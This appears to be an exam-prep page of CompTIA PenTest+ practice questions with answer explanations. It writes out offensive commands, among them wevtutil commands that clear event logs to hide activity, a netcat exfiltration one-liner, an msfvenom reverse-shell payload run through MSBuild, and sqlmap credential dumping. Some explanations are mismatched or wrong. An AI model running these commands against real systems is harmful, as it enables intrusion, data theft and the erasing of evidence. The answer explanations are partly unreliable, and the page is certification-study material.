Site icon Exam4Training

CompTIA PT0-003 CompTIA PenTest+ Exam Online Training

Question #1

During a security assessment, a penetration tester gains access to an internal server and manipulates some data to hide its presence.

Which of the following is the best way for the penetration tester to hide the activities performed?

  • A . Clear the Windows event logs.
  • B . Modify the system time.
  • C . Alter the log permissions.
  • D . Reduce the log retention settings.

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

During a penetration test, one of the critical steps for maintaining access and covering tracks is to clear evidence of the attack. Manipulating data to hide activities on an internal server involves ensuring that logs and traces of the attack are removed. Here’s a detailed explanation of why clearing the Windows event logs is the best method for this scenario:

Understanding Windows Event Logs: Windows event logs are a key forensic artifact that records system, security, and application events. These logs can provide detailed information about user activities, system changes, and potential security incidents.

Why Clear Windows Event Logs:

Comprehensive Coverage: Clearing the event logs removes all recorded events, including login attempts, application errors, and security alerts. This makes it difficult for an investigator to trace back the actions performed by the attacker.

Avoiding Detection: Penetration testers clear event logs to ensure that their presence and activities are not detected by system administrators or security monitoring tools. Method to Clear Event Logs:

Use the built-in Windows command line utility wevtutil to clear logs.

For example:

shell

Copy code

wevtutil cl System

wevtutil cl Security

wevtutil cl Application

These commands clear the System, Security, and Application logs, respectively.

Alternative Options and Their Drawbacks:

Modify the System Time: Changing the system time can create confusion but is easily detectable and can be reverted. It does not erase existing log entries.

Alter Log Permissions: Changing permissions might prevent new entries but does not remove existing ones and can alert administrators to suspicious activity.

Reduce Log Retention Settings: This can limit future logs but does not affect already recorded logs

and can be easily noticed by administrators.

Case

Reference: HTB Writeups: Many Hack The Box (HTB) writeups demonstrate the importance of clearing logs post-exploitation to maintain stealth. For example, in the "Gobox" and "Writeup" machines, maintaining a low profile involved managing log data to avoid detection​.

Real-World Scenarios: In real-world penetration tests, attackers often clear logs to avoid detection by forensic investigators and incident response teams. This step is crucial during red team engagements and advanced persistent threat (APT) simulations.

In conclusion, clearing Windows event logs is a well-established practice for hiding activities during a penetration test. It is the most effective way to remove evidence of the attack from the system, thereby maintaining stealth and ensuring that the tester’s actions remain undetected.

Question #2

A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement.

Given the following firewall policy:

Action | SRC

| DEST

| —

Block | 192.168.10.0/24: 1-65535 | 10.0.0.0/24: 22 | TCP

Allow | 0.0.0.0/0: 1-65535 | 192.168.10.0/24:443 | TCP

Allow | 192.168.10.0/24: 1-65535 | 0.0.0.0/0:443 | TCP

Block | . | . | *

Which of the following commands should the tester try next?

  • A . tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 < /tmp/data.tar.gz
  • B . gzip /path/to/data && cp data.gz <remote_server> 443
  • C . gzip /path/to/data && nc -nvlk 443; cat data.gz ‘ nc -w 3 <remote_server> 22
  • D . tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

Given the firewall policy, let’s analyze the commands provided and determine which one is suitable for exfiltrating data through the allowed network traffic. The firewall policy rules are: Block: Any traffic from 192.168.10.0/24 to 10.0.0.0/24 on port 22 (TCP).

Allow: All traffic (0.0.0.0/0) to 192.168.10.0/24 on port 443 (TCP).

Allow: Traffic from 192.168.10.0/24 to anywhere on port 443 (TCP).

Block: All other traffic (*).

Breakdown of Options:

Option A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 <remote_server> 443 <

/tmp/data.tar.gz

This command compresses the data into a tar.gz file and uses nc (netcat) to send it to a remote server on port 443.

Since the firewall allows outbound connections on port 443 (both within and outside the subnet 192.168.10.0/24), this command adheres to the policy and is the correct choice.

Option B: gzip /path/to/data && cp data.gz <remote_server> 443

This command compresses the data but attempts to copy it directly to a server, which is not a valid command. The cp command does not support network operations in this manner.

Option C: gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 <remote_server> 22

This command attempts to listen on port 443 and then send data over port 22. However, outbound connections to port 22 are blocked by the firewall, making this command invalid.

Option D: tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz <remote_server>

This command uses scp to copy the file, which typically uses port 22 for SSH. Since the firewall blocks

port 22, this command will not work.

Reference from Pentest:

Gobox HTB: The Gobox write-up emphasizes the use of proper enumeration and leveraging allowed services for exfiltration. Specifically, using tools like nc for data transfer over allowed ports, similar to the method in Option A.

Forge HTB: This write-up also illustrates how to handle firewall restrictions by exfiltrating data through allowed ports and protocols, emphasizing understanding firewall rules and using appropriate commands like curl and nc.

Horizontall HTB: Highlights the importance of using allowed services and ports for data exfiltration. The approach taken in Option A aligns with the techniques used in these practical scenarios where nc is used over an allowed port.

Question #3

Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?

  • A . Latches
  • B . Pins
  • C . Shackle
  • D . Plug

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here’s a detailed breakdown:

Components of a Pin Tumbler Lock:

Key Pins: These are the pins that the key directly interacts with. The cuts on the key align these pins.

Driver Pins: These are pushed by the springs and sit between the key pins and the springs.

Springs: These apply pressure to the driver pins.

Plug: This is the part of the lock that the key is inserted into and turns when the correct key is used.

Cylinder: The housing for the plug and the pins.

Operation:

When the correct key is inserted, the key pins are pushed up by the key’s cuts to align with the shear line (the gap between the plug and the cylinder).

The alignment of the pins at the shear line allows the plug to turn, thereby operating the lock.

Why Pins Are the Correct Answer

The correct key aligns the key pins and driver pins to the shear line, allowing the plug to turn. If any pin is not correctly aligned, the lock will not open. Illustration in Lock Picking:

Lock picking involves manipulating the pins so they align at the shear line without the key. This demonstrates the critical role of pins in the functioning of the lock.

Question #4

A penetration tester assesses an application allow list and has limited command-line access on the Windows system.

Which of the following would give the penetration tester information that could aid in continuing the test?

  • A . mmc.exe
  • B . icacls.exe
  • C . nltest.exe
  • D . rundll.exe

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

When a penetration tester has limited command-line access on a Windows system, the choice of tool is critical for gathering information to aid in furthering the test. Here’s an explanation for each option:

mmc.exe (Microsoft Management Console):

Primarily used for managing Windows and its services. It’s not typically useful for gathering information about the system from the command line in a limited access scenario. icacls.exe:

This tool is used for modifying file and folder permissions. While useful for modifying security settings, it does not directly aid in gathering system information or enumeration. nltest.exe:

This is a powerful command-line utility for network testing and gathering information about domain controllers, trusts, and replication status. Key functionalities include: Listing domain controllers: nltest /dclist:<DomainName>

Querying domain trusts: nltest /domain_trusts

Checking secure channel: nltest /sc_query:<DomainName>

These capabilities make nltest very useful for understanding the network environment, especially in a domain context, which is essential for penetration testing.

rundll.exe:

This utility is used to run DLLs as programs. While it can be used for executing code, it does not provide direct information about the system or network environment.

Conclusion: nltest.exe is the best choice among the given options as it provides valuable information about the network, domain controllers, and trust relationships. This information is crucial for a penetration tester to plan further actions and understand the domain environment.

Question #5

A penetration tester wants to use multiple TTPs to assess the reactions (alerted, blocked, and others) by the client’s current security tools. The threat-modeling team indicates the TTPs in the list might affect their internal systems and servers.

Which of the following actions would the tester most likely take?

  • A . Use a BAS tool to test multiple TTPs based on the input from the threat-modeling team.
  • B . Perform an internal vulnerability assessment with credentials to review the internal attack surface.
  • C . Use a generic vulnerability scanner to test the TTPs and review the results with the threat-modeling team.
  • D . Perform a full internal penetration test to review all the possible exploits that could affect the systems.

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

BAS (Breach and Attack Simulation) tools are specifically designed to emulate multiple TTPs (Tactics, Techniques, and Procedures) used by adversaries. These tools can simulate various attack vectors in a controlled manner to test the effectiveness of an organization’s security defenses and response mechanisms.

Here’s why option A is the best choice:

Controlled Testing Environment: BAS tools provide a controlled environment where multiple TTPs can be tested without causing unintended damage to the internal systems and servers. This is critical when the threat-modeling team indicates potential impacts on internal systems.

Comprehensive Coverage: BAS tools are designed to cover a wide range of TTPs, allowing the penetration tester to simulate various attack scenarios. This helps in assessing the reactions (alerted, blocked, and others) by the client’s security tools comprehensively.

Feedback and Reporting: These tools provide detailed feedback and reporting on the effectiveness of

the security measures in place, including which TTPs were detected, blocked, or went unnoticed.

This information is invaluable for the threat-modeling team to understand the current security

posture and areas for improvement.

Reference from Pentest:

Anubis HTB: This write-up highlights the importance of using controlled tools and methods for testing security mechanisms. BAS tools align with this approach by providing a controlled and systematic way to assess security defenses​.

Forge HTB: Emphasizes the use of various testing tools and techniques to simulate real-world attacks and measure the effectiveness of security controls. BAS tools are mentioned as a method to ensure

comprehensive coverage and minimal risk to internal systems​.

Conclusion:

Using a BAS tool to test multiple TTPs allows for a thorough and controlled assessment of the client’s security tools’ effectiveness. This approach ensures that the testing is systematic, comprehensive, and minimally disruptive, making it the best choice.

Question #6

As part of a security audit, a penetration tester finds an internal application that accepts unexpected user inputs, leading to the execution of arbitrary commands.

Which of the following techniques would the penetration tester most likely use to access the sensitive data?

  • A . Logic bomb
  • B . SQL injection
  • C . Brute-force attack
  • D . Cross-site scripting

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

SQL injection (SQLi) is a technique that allows attackers to manipulate SQL queries to execute arbitrary commands on a database. It is one of the most common and effective methods for accessing sensitive data in internal applications that accept unexpected user inputs.

Here’s why option B is the most likely technique:

Arbitrary Command Execution: The question specifies that the internal application accepts unexpected user inputs leading to arbitrary command execution. SQL injection fits this description as it exploits vulnerabilities in the application’s input handling to execute unintended SQL commands on the database.

Data Access: SQL injection can be used to extract sensitive data from the database, modify or delete records, and perform administrative operations on the database server. This makes it a powerful technique for accessing sensitive information.

Common Vulnerability: SQL injection is a well-known and frequently exploited vulnerability in web

applications, making it a likely technique that a penetration tester would use to exploit input

handling issues in an internal application.

Reference from Pentest:

Luke HTB: This write-up demonstrates how SQL injection was used to exploit an internal application and access sensitive data. It highlights the process of identifying and leveraging SQL injection vulnerabilities to achieve data extraction​.

Writeup HTB: Describes how SQL injection was utilized to gain access to user credentials and further

exploit the application. This example aligns with the scenario of using SQL injection to execute arbitrary commands and access sensitive data.

Conclusion:

Given the nature of the vulnerability described (accepting unexpected user inputs leading to arbitrary command execution), SQL injection is the most appropriate and likely technique that the

penetration tester would use to access sensitive data. This method directly targets the input handling mechanism to manipulate SQL queries, making it the best choice.

Question #7

A penetration tester identifies an exposed corporate directory containing first and last names and phone numbers for employees.

Which of the following attack techniques would be the most effective to pursue if the penetration tester wants to compromise user accounts?

  • A . Smishing
  • B . Impersonation
  • C . Tailgating
  • D . Whaling

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

When a penetration tester identifies an exposed corporate directory containing first and last names and phone numbers, the most effective attack technique to pursue would be smishing. Here’s why: Understanding Smishing:

Smishing (SMS phishing) involves sending fraudulent messages via SMS to trick individuals into revealing personal information or performing actions that compromise security. Since the tester has access to phone numbers, this method is directly applicable.

Why Smishing is Effective:

Personalization: Knowing the first and last names allows the attacker to personalize the messages, making them appear more legitimate and increasing the likelihood of the target responding. Immediate Access: People tend to trust and respond quickly to SMS messages compared to emails, especially if the messages appear urgent or important. Alternative Attack Techniques:

Impersonation: While effective, it generally requires real-time interaction and may not scale well across many targets.

Tailgating: This physical social engineering technique involves following someone into a restricted area and is not feasible with just names and phone numbers.

Whaling: This targets high-level executives with highly personalized phishing attacks. Although effective, it is more specific and may not be suitable for the broader set of employees in the directory.

Question #8

A penetration tester is compiling the final report for a recently completed engagement. A junior QA team member wants to know where they can find details on the impact, overall security findings,

and high-level statements.

Which of the following sections of the report would most likely contain this information?

  • A . Quality control
  • B . Methodology
  • C . Executive summary
  • D . Risk scoring

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

In the final report for a penetration test engagement, the section that most likely contains details on the impact, overall security findings, and high-level statements is the executive summary.

Here’s why:

Purpose of the Executive Summary:

It provides a high-level overview of the penetration test findings, including the most critical issues, their impact on the organization, and general recommendations.

It is intended for executive management and other non-technical stakeholders who need to understand the security posture without delving into technical details. Contents of the Executive Summary:

Impact: Discusses the potential business impact of the findings.

Overall Security Findings: Summarizes the key vulnerabilities identified during the engagement. High-Level Statements: Provides strategic recommendations and a general assessment of the security posture.

Comparison to Other Sections:

Quality Control: Focuses on the measures taken to ensure the accuracy and quality of the testing process.

Methodology: Details the approach and techniques used during the penetration test.

Risk Scoring: Provides detailed risk assessments and scoring for specific vulnerabilities but does not offer a high-level overview suitable for executives.

Question #9

A tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the tester request to complete a review?

  • A . A generative AI assistant
  • B . The customer’s designated contact
  • C . A cybersecurity industry peer
  • D . A team member

Reveal Solution Hide Solution

Correct Answer: D
D

Explanation:

Before sharing a report with a client, it is crucial to have it reviewed to ensure accuracy, clarity, and completeness. The best choice for this review is a team member.

Here’s why: Internal Peer Review:

Familiarity with the Project: A team member who worked on the project or is familiar with the methodologies used can provide a detailed and context-aware review.

Quality Assurance: This review helps catch any errors, omissions, or inconsistencies in the report

before it reaches the client.

Alternative Review Options:

A Generative AI Assistant: While useful for drafting and checking for language issues, it may not fully understand the context and technical details of the penetration test.

The Customer’s Designated Contact: Typically, the client reviews the report after the internal review to provide their perspective and request clarifications or additional details.

A Cybersecurity Industry Peer: Although valuable, this option might not be practical due to confidentiality concerns and the peer’s lack of specific context regarding the engagement.

In summary, an internal team member is the most suitable choice for a thorough and contextually accurate review before sharing the report with the client.

Question #10

During an assessment, a penetration tester exploits an SQLi vulnerability.

Which of the following commands would allow the penetration tester to enumerate password hashes?

  • A . sqlmap -u www.example.com/?id=1 –search -T user
  • B . sqlmap -u www.example.com/?id=1 –dump -D accounts -T users -C cred
  • C . sqlmap -u www.example.com/?id=1 –tables -D accounts
  • D . sqlmap -u www.example.com/?id=1 –schema –current-user –current-db

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

To enumerate password hashes using an SQL injection vulnerability, the penetration tester needs to extract specific columns from the database that typically contain password hashes. The –dump command in sqlmap is used to dump the contents of the specified database table.

Here’s a breakdown of the options:

Option A: sqlmap -u www.example.com/?id=1 –search -T user

The –search option is used to search for columns and not to dump data. This would not enumerate password hashes.

Option B: sqlmap -u www.example.com/?id=1 –dump -D accounts -T users -C cred

This command uses –dump to extract data from the specified database accounts, table users, and column cred. This is the correct option to enumerate password hashes, assuming cred is the column containing the password hashes.

Option C: sqlmap -u www.example.com/?id=1 –tables -D accounts

The –tables option lists all tables in the specified database but does not extract data.

Option D: sqlmap -u www.example.com/?id=1 –schema –current-user –current-db

The –schema option provides the database schema information, and –current-user and –current-db

provide information about the current user and database but do not dump data.

Reference from Pentest:

Writeup HTB: Demonstrates using sqlmap to dump data from specific tables to retrieve sensitive information, including password hashes​.

Luke HTB: Shows the process of exploiting SQL injection to extract user credentials and hashes by dumping specific columns from the database​.

Question #11

During an assessment, a penetration tester obtains an NTLM hash from a legacy Windows machine.

Which of the following tools should the penetration tester use to continue the attack?

  • A . Responder
  • B . Hydra
  • C . BloodHound
  • D . CrackMapExec

Reveal Solution Hide Solution

Correct Answer: D
D

Explanation:

When a penetration tester obtains an NTLM hash from a legacy Windows machine, they need to use

a tool that can leverage this hash for further attacks, such as pass-the-hash attacks, or for cracking the hash.

Here ’ s a breakdown of the options:

Option A: Responder

Responder is primarily used for poisoning LLMNR, NBT-NS, and MDNS to capture hashes, but not for leveraging NTLM hashes obtained post-exploitation.

Option B: Hydra

Hydra is a password-cracking tool but not specifically designed for NTLM hashes or pass-the-hash attacks.

Option C: BloodHound

BloodHound is used for mapping out Active Directory relationships and identifying potential attack paths but not for using NTLM hashes directly.

Option D: CrackMapExec

CrackMapExec is a versatile tool that can perform pass-the-hash attacks, execute commands, and more using NTLM hashes. It is designed for post-exploitation scenarios involving NTLM hashes. Reference from Pentest:

Forge HTB: Demonstrates the use of CrackMapExec for leveraging NTLM hashes to gain further access within a network​.

Horizontall HTB: Shows how CrackMapExec can be used for various post-exploitation activities, including using NTLM hashes to authenticate and execute commands​.

Conclusion:

Option D, CrackMapExec, is the most suitable tool for continuing the attack using an NTLM hash. It supports pass-the-hash techniques and other operations that can leverage NTLM hashes effectively.

Question #12

A penetration tester needs to collect information over the network for further steps in an internal assessment.

Which of the following would most likely accomplish this goal?

  • A . ntlmrelayx.py -t 192.168.1.0/24 -1 1234
  • B . nc -tulpn 1234 192.168.1.2
  • C . responder.py -I eth0 -wP
  • D . crackmapexec smb 192.168.1.0/24

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

To collect information over the network, especially during an internal assessment, tools that can capture and analyze network traffic are essential. Responder is specifically designed for this purpose, and it can capture NTLM hashes and other credentials by poisoning various network protocols.

Here’s a breakdown of the options:

Option A: ntlmrelayx.py -t 192.168.1.0/24 -1 1234

ntlmrelayx.py is used for relaying NTLM authentication but not for broad network information collection.

Option B: nc -tulpn 1234 192.168.1.2

Netcat (nc) is a network utility for reading from and writing to network connections using TCP or UDP but is not specifically designed for comprehensive information collection over a network.

Option C: responder.py -I eth0 -wP

Responder is a tool for LLMNR, NBT-NS, and MDNS poisoning. The -I eth0 option specifies the network interface, and -wP enables WPAD rogue server which is effective for capturing network credentials and other information.

Option D: crackmapexec smb 192.168.1.0/24

CrackMapExec is useful for SMB-related enumeration and attacks but not specifically for broad

network information collection.

Reference from Pentest:

Anubis HTB: Highlights the use of Responder to capture network credentials and hashes during internal assessments​.

Horizontall HTB: Demonstrates the effectiveness of Responder in capturing and analyzing network traffic for further exploitation​.

Question #13

A penetration tester wants to use the following Bash script to identify active servers on a network:

1 network_addr="192.168.1"

2 for h in {1..254}; do

3 ping -c 1 -W 1 $network_addr.$h > /dev/null

4 if [ $? -eq 0 ]; then

5 echo "Host $h is up"

6 else

7 echo "Host $h is down"

8 fi

9 done

Which of the following should the tester do to modify the script?

  • A . Change the condition on line 4.
  • B . Add 2>&1 at the end of line 3.
  • C . Use seq on the loop on line 2.
  • D . Replace $h with ${h} on line 3.

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

The provided Bash script is used to ping a range of IP addresses to identify active hosts in a network.

Here’s a detailed breakdown of the script and the necessary modification:

Original Script:

1 network_addr="192.168.1"

2 for h in {1..254}; do

3 ping -c 1 -W 1 $network_addr.$h > /dev/null

4 if [ $? -eq 0 ]; then

5 echo "Host $h is up"

6 else

7 echo "Host $h is down"

8 fi

9 done

Analysis:

Line 2: The loop uses {1..254} to iterate over the range of host addresses. However, this notation might not work in all shell environments, especially if not using bash directly or if the script runs in a different shell.

Using seq for Better Compatibility:

The seq command is a more compatible way to generate a sequence of numbers. It ensures the loop

works in any POSIX-compliant shell.

Modified Line 2:

for h in $(seq 1 254); do

This change ensures broader compatibility and reliability of the script.

Modified Script:

1 network_addr="192.168.1"

2 for h in $(seq 1 254); do

3 ping -c 1 -W 1 $network_addr.$h > /dev/null

4 if [ $? -eq 0 ]; then

5 echo "Host $h is up"

6 else

7 echo "Host $h is down"

8 fi

9 done

Question #14

A penetration tester is attempting to discover vulnerabilities in a company’s web application.

Which of the following tools would most likely assist with testing the security of the web application?

  • A . OpenVAS
  • B . Nessus
  • C . sqlmap
  • D . Nikto

Reveal Solution Hide Solution

Correct Answer: D
D

Explanation:

When testing the security of a web application, specific tools are designed to uncover vulnerabilities and issues. Here’s an overview of the tools mentioned and why Nikto is the most suitable for this task:

Nikto:

Purpose: Nikto is a web server scanner that performs comprehensive tests against web servers for multiple items, including potentially dangerous files/programs, outdated versions, and other security issues.

Relevance: It is designed specifically for discovering vulnerabilities in web applications, making it the most appropriate choice for a penetration tester targeting a web application.

Comparison with Other Tools:

OpenVAS: A general-purpose vulnerability scanner that targets a wide range of network services and hosts, not specifically tailored for web applications.

Nessus: Similar to OpenVAS, Nessus is a comprehensive vulnerability scanner but is broader in scope and not focused solely on web applications.

sqlmap: This tool is excellent for SQL injection testing but is limited to database vulnerabilities and doesn’t cover the full spectrum of web application security issues.

Question #15

A penetration tester needs to launch an Nmap scan to find the state of the port for both TCP and UDP services.

Which of the following commands should the tester use?

  • A . nmap -sU -sW -p 1-65535 example.com
  • B . nmap -sU -sY -p 1-65535 example.com
  • C . nmap -sU -sT -p 1-65535 example.com
  • D . nmap -sU -sN -p 1-65535 example.com

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

To find the state of both TCP and UDP ports using Nmap, the appropriate command should combine

both TCP and UDP scan options:

Understanding the Options:

-sU: Performs a UDP scan.

-sT: Performs a TCP connect scan.

Command Explanation

Command: nmap -sU -sT -p 1-65535 example.com

This command will scan both TCP and UDP ports from 1 to 65535 on the target example.com. Combining -sU and -sT ensures that both types of services are scanned. Comparison with Other Options:

-sW: Initiates a TCP Window scan, not relevant for identifying the state of TCP and UDP services.

-sY: Initiates a SCTP INIT scan, not relevant for this context.

-sN: Initiates a TCP Null scan, which is not used for discovering UDP services.

Question #16

A tester plans to perform an attack technique over a compromised host.

The tester prepares a payload using the following command:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp

The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml.

Which of the following commands would most likely be used by the tester to continue with the attack on the host?

  • A . regsvr32 /s /n /u C:evil.xml
  • B . MSBuild.exe C:evil.xml
  • C . mshta.exe C:evil.xml
  • D . AppInstaller.exe C:evil.xml

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:

Understanding MSBuild.exe:

Purpose: MSBuild is a build tool that processes project files written in XML and can execute tasks defined in the XML. It’s commonly used to build .NET applications and can also execute code embedded in project files.

Command Usage:

Command: MSBuild.exe C:evil.xml

This command tells MSBuild to process the evil.xml file, which contains the C# shellcode. MSBuild will compile and execute the code, leading to the payload execution. Comparison with Other Commands:

regsvr32 /s /n /u C:evil.xml: Used to register or unregister DLLs, not suitable for executing C# code. mshta.exe C:evil.xml: Used to execute HTML applications (HTA files), not suitable for XML containing C# code.

AppInstaller.exe C:evil.xml: Used to install AppX packages, not relevant for executing C# code embedded in an XML file.

Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.

Question #17

A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering.

Which of the following types of scans did the tester use to identify the libraries?

  • A . IAST
  • B . SBOM
  • C . DAST
  • D . SAST

Reveal Solution Hide Solution

Correct Answer: D
D

Explanation:

kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations.

Here’s why option B is correct:

Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.

Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.

Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.

Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities. Reference from Pentest:

Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters​.

Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex

environments like Kubernetes clusters​.

Conclusion:

Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type

of vulnerabilities that kube-hunter is designed to detect.

Question #18

A penetration tester performs an assessment on the target company’s Kubernetes cluster using kube-hunter.

Which of the following types of vulnerabilities could be detected with the tool?

  • A . Network configuration errors in Kubernetes services
  • B . Weaknesses and misconfigurations in the Kubernetes cluster
  • C . Application deployment issues in Kubernetes
  • D . Security vulnerabilities specific to Docker containers

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations.

Here’s why option B is correct:

Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.

Network Configuration Errors: While kube-hunter might identify some network-related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.

Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.

Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.

Reference from Pentest:

Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.

Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex

environments like Kubernetes clusters.

Conclusion:

Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.

Question #19

A penetration tester needs to confirm the version number of a client’s web application server.

Which of the following techniques should the penetration tester use?

  • A . SSL certificate inspection
  • B . URL spidering
  • C . Banner grabbing
  • D . Directory brute forcing

Reveal Solution Hide Solution

Correct Answer: C
C

Explanation:

Banner grabbing is a technique used to gather information about a service running on an open port, which often includes the version number of the application or server.

Here’s why banner grabbing is the correct answer:

Banner Grabbing: It involves connecting to a service and reading the welcome banner or response, which typically includes version information. This is a direct method to identify the version number of a web application server.

SSL Certificate Inspection: While it can provide information about the server, it is not reliable for identifying specific application versions.

URL Spidering: This is used for discovering URLs and resources within a web application, not for version identification.

Directory Brute Forcing: This is used to discover hidden directories and files, not for identifying version information.

Reference from Pentest:

Luke HTB: Shows how banner grabbing can be used to identify the versions of services running on a server​.

Writeup HTB: Demonstrates the importance of gathering version information through techniques like banner grabbing during enumeration phases​.

Conclusion:

Option C, banner grabbing, is the most appropriate technique for confirming the version number of a web application server.

Question #20

Given the following statements:

Implement a web application firewall.

Upgrade end-of-life operating systems.

Implement a secure software development life cycle.

In which of the following sections of a penetration test report would the above statements be found?

  • A . Executive summary
  • B . Attack narrative
  • C . Detailed findings
  • D . Recommendations

Reveal Solution Hide Solution

Correct Answer: D
D

Explanation:

The given statements are actionable steps aimed at improving security. They fall under the recommendations section of a penetration test report.

Here ’ s why option D is correct: Recommendations: This section of the report provides specific actions that should be taken to mitigate identified vulnerabilities and improve the overall security posture. Implementing a WAF, upgrading operating systems, and implementing a secure SDLC are recommendations to enhance security.

Executive Summary: This section provides a high-level overview of the findings and their implications, intended for executive stakeholders.

Attack Narrative: This section details the steps taken during the penetration test, describing the attack vectors and methods used.

Detailed Findings: This section provides an in-depth analysis of each identified vulnerability,

including evidence and technical details.

Reference from Pentest:

Forge HTB: The report’s recommendations section suggests specific measures to address the identified issues, similar to the given statements​.

Writeup HTB: Highlights the importance of the recommendations section in providing actionable steps to improve security based on the findings from the assessment​. Conclusion:

Option D, recommendations, is the correct section where the given statements would be found in a penetration test report.

Question #21

During a penetration test, a tester captures information about an SPN account.

Which of the following attacks requires this information as a prerequisite to proceed?

  • A . Golden Ticket
  • B . Kerberoasting
  • C . DCShadow
  • D . LSASS dumping

Reveal Solution Hide Solution

Correct Answer: B
B

Explanation:

Kerberoasting is an attack that specifically targets Service Principal Name (SPN) accounts in a

Windows Active Directory environment.

Here’s a detailed explanation:

Understanding SPN Accounts:

SPNs are unique identifiers for services in a network that allows Kerberos to authenticate service accounts. These accounts are often associated with services such as SQL Server, IIS, etc. Kerberoasting Attack:

Prerequisite: Knowledge of the SPN account.

Process: An attacker requests a service ticket for the SPN account using the Kerberos protocol. The ticket is encrypted with the service account’s NTLM hash. The attacker captures this ticket and attempts to crack the hash offline.

Objective: To obtain the plaintext password of the service account, which can then be used for lateral

movement or privilege escalation.

Comparison with Other Attacks:

Golden Ticket: Involves forging Kerberos TGTs using the KRBTGT account hash, requiring domain admin credentials.

DCShadow: Involves manipulating Active Directory data by impersonating a domain controller, typically requiring high privileges.

LSASS Dumping: Involves extracting credentials from the LSASS process on a Windows machine, often requiring local admin privileges.

Kerberoasting specifically requires the SPN account information to proceed, making it the correct answer.

Question #22

A penetration tester attempts to run an automated web application scanner against a target URL. The tester validates that the web page is accessible from a different device.

The tester analyzes the following HTTP request header logging output:

200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0

200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0

No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl

200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0

No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python

Which of the following actions should the tester take to get the scans to work properly?

  • A . Modify the scanner to slow down the scan.
  • B . Change the source IP with a VPN.
  • C . Modify the scanner to only use HTTP GET requests.
  • D . Modify the scanner user agent.

Reveal Solution Hide Solution

Correct Answer: D
Question #23

During a penetration test, a junior tester uses Hunter.io for an assessment and plans to review the information that will be collected.

Which of the following describes the information the junior tester will receive from the Hunter.io tool?

  • A . A collection of email addresses for the target domain that is available on multiple sources on the internet
  • B . DNS records for the target domain and subdomains that could be used to increase the external attack surface
  • C . Data breach information about the organization that could be used for additional enumeration
  • D . Information from the target’s main web page that collects usernames, metadata, and possible data exposures

Reveal Solution Hide Solution

Correct Answer: A
A

Explanation:

Hunter.io is a tool used for finding professional email addresses associated with a domain.

Here’s what it provides:

Functionality of Hunter.io:

Email Address Collection: Gathers email addresses associated with a target domain from various sources across the internet.

Verification: Validates the email addresses to ensure they are deliverable.

Sources: Aggregates data from public sources, company websites, and other internet databases.

Comparison with Other Options:

DNS Records (B): Hunter.io does not focus on DNS records; tools like dig or nslookup are used for DNS information.

Data Breach Information (C): Services like Have I Been Pwned are used for data breach information. Web Page Information (D): Tools like wget, curl, or specific web scraping tools are used for collecting detailed web page information.

Hunter.io is specifically designed to collect and validate email addresses for a given domain, making it the correct answer.

Question #24

A penetration tester downloads a JAR file that is used in an organization’s production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit.

Which of the following describes the tester’s activities?

  • A . SAST
  • B . SBOM
  • C . ICS
  • D . SCA

Reveal Solution Hide Solution

Correct Answer: D
D

